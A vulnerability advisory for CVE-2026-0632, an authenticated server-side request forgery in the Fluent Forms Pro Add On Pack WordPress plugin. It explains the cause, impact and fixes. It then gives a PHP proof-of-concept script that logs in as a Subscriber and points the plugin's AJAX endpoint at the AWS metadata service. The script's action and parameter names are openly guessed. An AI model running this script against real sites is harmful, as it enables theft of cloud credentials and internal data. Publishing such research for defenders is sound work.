Atomic Edge analysis of CVE-2026-0632 (metadata-based):
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the Fluent Forms Pro Add On Pack WordPress plugin. The flaw resides in the ‘saveDataSource’ function, allowing authenticated users with Subscriber-level permissions or higher to force the application to make arbitrary HTTP requests. The CVSS score of 5.4 (Medium) reflects the requirement for authentication but the low attack complexity and potential for information disclosure and modification.
Atomic Edge research indicates the root cause is improper validation of user-supplied input that controls server-side HTTP requests. The CWE-918 classification confirms the plugin fails to restrict the URLs a user can specify. Without code diffs, this conclusion is inferred from the CWE and vulnerability description. The ‘saveDataSource’ function likely accepts a URL parameter without verifying it points to an allowed, internal resource. The absence of a proper allowlist or network-level validation enables SSRF.
Exploitation requires an authenticated WordPress session with at least Subscriber privileges. The attacker would send a POST request to the WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`, with an `action` parameter targeting the vulnerable function. Based on common WordPress plugin patterns, the action name is likely derived from the plugin slug, such as `fluentformpro_saveDataSource`. The request would include a parameter, perhaps named `url` or `source`, containing the target internal service URL. A sample payload could target the AWS metadata service: `http://169.254.169.254/latest/meta-data/`.
Remediation requires implementing strict validation on the user-controlled URL parameter. The patched version likely added an allowlist of permitted hostnames or IP ranges, rejecting requests to internal, private, or loopback addresses. Proper validation should include scheme restrictions (blocking `file://`, `gopher://`, etc.), DNS resolution checks, and network segment validation. The fix must also enforce stronger capability checks, ensuring only administrators can perform sensitive data source operations.
Successful exploitation allows attackers to probe and interact with internal services unreachable from the external network. This can lead to sensitive data exposure from cloud metadata services, databases, or internal APIs. Attackers could also abuse the vulnerable server as a proxy for scanning internal networks or conducting attacks against other internal systems. The ability to modify information depends on the internal service’s authentication controls.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0632 - Fluent Forms Pro Add On Pack <= 6.1.12 - Authenticated (Subscriber+) Server-Side Request Forgery via 'saveDataSource'
<?php
/*
Assumptions:
1. The vulnerable AJAX action is named 'fluentformpro_saveDataSource' (common WordPress pattern).
2. The malicious URL is passed via a parameter named 'url' or 'source'.
3. The target site uses standard WordPress admin-ajax.php endpoint.
4. The attacker has valid Subscriber-level credentials.
*/
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
$internal_target = 'http://169.254.169.254/latest/meta-data/'; // AWS metadata endpoint
// Step 1: Authenticate and obtain WordPress session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
// Step 2: Exploit the SSRF via the AJAX endpoint
// Attempt multiple possible parameter names based on common patterns
$post_params = [
'action' => 'fluentformpro_saveDataSource',
'url' => $internal_target, // Primary guess
'source' => $internal_target, // Alternative guess
'data_source' => $internal_target, // Another alternative
'nonce' => '' // Nonce may be required; its absence could be part of the vulnerability
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query($post_params),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Code: $http_coden";
echo "Response:n$responsen";
curl_close($ch);
?>
